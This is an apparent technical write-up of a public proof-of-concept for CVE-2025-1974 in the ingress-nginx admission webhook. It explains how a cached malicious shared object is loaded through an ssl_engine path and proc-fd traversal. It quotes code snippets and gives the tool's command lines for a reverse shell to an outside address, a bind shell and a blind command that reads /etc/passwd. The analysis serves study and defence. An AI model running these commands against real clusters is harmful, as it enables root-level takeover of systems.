Ingressnightmare Ingress-Nginx RCE Vulnerability (CVE-2025-1974): Technical Analysis
The ingressnightmare exploit chains CVE-2025-1974, a two-stage remote code execution vulnerability in the ingress-nginx admission webhook that combines unrestricted request body caching with improper validation of the ssl_engine directive to achieve root-level shell access.
The repository esonhugh/ingressnightmare-cve-2025-1974-exps provides a working proof-of-concept that demonstrates how attackers can achieve arbitrary code execution on Kubernetes clusters running the ingress-nginx controller. This ingress-nginx RCE vulnerability exploits a dangerous interaction between NGINX's temporary file handling and the admission controller's configuration validation logic.
How the CVE-2025-1974 Exploit Chain Works
The vulnerability operates through a precisely orchestrated two-stage attack sequence that first deposits a malicious payload on the target node, then tricks the admission webhook into executing it with root privileges.
Stage 1: Malicious Payload Upload via Request Caching
In nginx-ingress/exploit.go, the BadUploader function initiates the attack by sending a large HTTP POST request (approximately 1 MiB) directly to the NGINX pod. The request body contains a malicious shared object (danger.so) embedded with shellcode for reverse shells, bind shells, or arbitrary command execution.
NGINX handles this oversized request by caching the body as a temporary file on disk or via a proc-file descriptor. According to the source code at lines 52-85, the controller does not restrict the size or content of these cached request bodies, allowing an attacker to write an arbitrary .so file that persists temporarily on the node.
// BadUploader sends a 1 MiB POST request with the payload (danger.so)
// to the NGINX pod so it is cached as a temporary file.
err := nginx_ingress.BadUploader(uploadURL, payload)
Stage 2: Admission Webhook Validation Abuse
The second stage targets the validating admission webhook of the ingress-nginx controller. The attacker crafts an admission request containing a malicious NGINX configuration that uses an ssl_engine directive pointing to the previously uploaded shared object. As implemented in exploit.go at lines 23-31 and 65-71, the exploit constructs a proc-fd path traversal such as ../../../../../../proc/<pid>/fd/<fd> to reference the cached temporary file.
When the webhook processes this request, it generates a temporary NGINX configuration and executes nginx -t -c <temp-cfg> to validate the syntax. During this test operation, NGINX loads the ssl_engine module specified in the config—which is actually the attacker-controlled shared object—and executes its payload within the controller's root-privileged context.
// RenderValidateJSON substitutes the placeholder "foobar" with a
// path that points to the cached .so via /proc/<pid>/fd/<fd>.
nginx_ingress.RenderValidateJSON(method)
// The request is sent to the webhook; the response is parsed from
// the AdmissionReview structure.
err := nginx_ingress.ValidateWebHook(webhookURL, fd, pid)
Implementation Details in the Ingressnightmare Repository
The esonhugh/ingressnightmare-cve-2025-1974-exps repository implements this exploit chain through several specialized components that handle payload generation, delivery, and orchestration.
Upload Mechanism: BadUploader
The BadUploader function in nginx-ingress/exploit.go (lines 52-85) manages the initial payload placement. It ensures the malicious shared object is properly cached by the NGINX worker process before the second stage triggers. This function handles the HTTP client configuration, request construction, and error handling required to place the payload reliably on the target node.
Webhook Abuse: ValidateWebHook and RenderValidateJSON
The admission validation logic resides in the ValidateWebHook function, which communicates with the controller's admission endpoint. The RenderValidateJSON method prepares the JSON payload for the AdmissionReview API, specifically injecting the proc-fd path that bridges the uploaded file to the ssl_engine directive. The source at lines 104-124 handles the HTTP transport and response parsing required to complete the validation request.
Command-Line Interface and Orchestration
The main.go file provides the CLI interface that wires these components together. Lines 78-87 and 122-136 handle flag parsing for execution modes (reverse shell, bind shell, or blind command) and coordinate the timing between the upload stage and the webhook trigger.
# Reverse shell (default mode)
./ingressnightmare -m r -r 10.0.0.2 -p 4444 \
-i https://ingress-nginx-controller-admission... \
-u http://ingress-nginx-controller...
# Bind shell
./ingressnightmare -m b -b 5555 -i ... -u ...
# Blind command execution
./ingressnightmare -m c -c 'id && cat /etc/passwd' -i ... -u ...
Critical Source Files and Attack Artifacts
Understanding the ingress-nginx RCE vulnerability requires examining these specific components from the repository:
nginx-ingress/exploit.go: Contains the core exploit logic includingBadUploader,ValidateWebHook, and theExploitorchestration function that chains the two stages together.nginx-ingress/payload.go: Generates the malicious shared-object payloads containing architecture-specific shellcode for various execution modes.nginx-ingress/bad_config.conf: Stores the template NGINX configuration containing the dangerousssl_enginedirective that enables arbitrary library loading.main.go: Implements the command-line interface, flag handling, and the high-level flow coordination between payload upload and webhook triggering.
Summary
- CVE-2025-1974 is a two-stage RCE vulnerability in the ingress-nginx admission controller that allows attackers to execute arbitrary code with root privileges.
- The exploit requires unrestricted request body caching to write a malicious shared object to the node, followed by improper validation of the
ssl_enginepath in the admission webhook. - The attack uses proc-fd path traversal (
/proc/<pid>/fd/<fd>) to reference the cached payload during configuration validation. - The vulnerability is triggered when the webhook runs
nginx -t, which loads and executes the attacker-controlled shared object. - Repository
esonhugh/ingressnightmare-cve-2025-1974-expsdemonstrates this through theBadUploaderandValidateWebHookfunctions innginx-ingress/exploit.go.
Frequently Asked Questions
What is CVE-2025-1974?
CVE-2025-1974 is a remote code execution vulnerability affecting the ingress-nginx controller's admission webhook. It allows attackers to execute arbitrary commands with root privileges by combining NGINX's request caching behavior with unsafe handling of the ssl_engine configuration directive during admission validation.
How does the ssl_engine directive enable code execution?
The ssl_engine directive tells NGINX which shared library to load for cryptographic operations. In this vulnerability, the admission webhook generates a temporary configuration containing an ssl_engine path that points to a malicious shared object controlled by the attacker. When the webhook executes nginx -t to validate the configuration, NGINX loads and executes the attacker's library, running arbitrary code in the controller's root-privileged context.
Why does the admission webhook run with root privileges?
The ingress-nginx controller typically runs as root within its container to bind privileged ports and manage system-level networking configurations. When the admission webhook executes nginx -t to validate incoming Ingress resource configurations, it inherits these elevated privileges. This design allows the attacker-controlled shared object to execute with full root access to the container and potentially the underlying node.
Can this vulnerability be exploited without network access to the NGINX pod?
No, the exploit requires direct network access to both the NGINX controller pod and the admission webhook endpoint. The first stage requires sending a large POST request to the NGINX pod itself to cache the payload, while the second stage requires sending a crafted AdmissionReview request to the validating webhook. Both components must be reachable from the attacker's position in the network.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →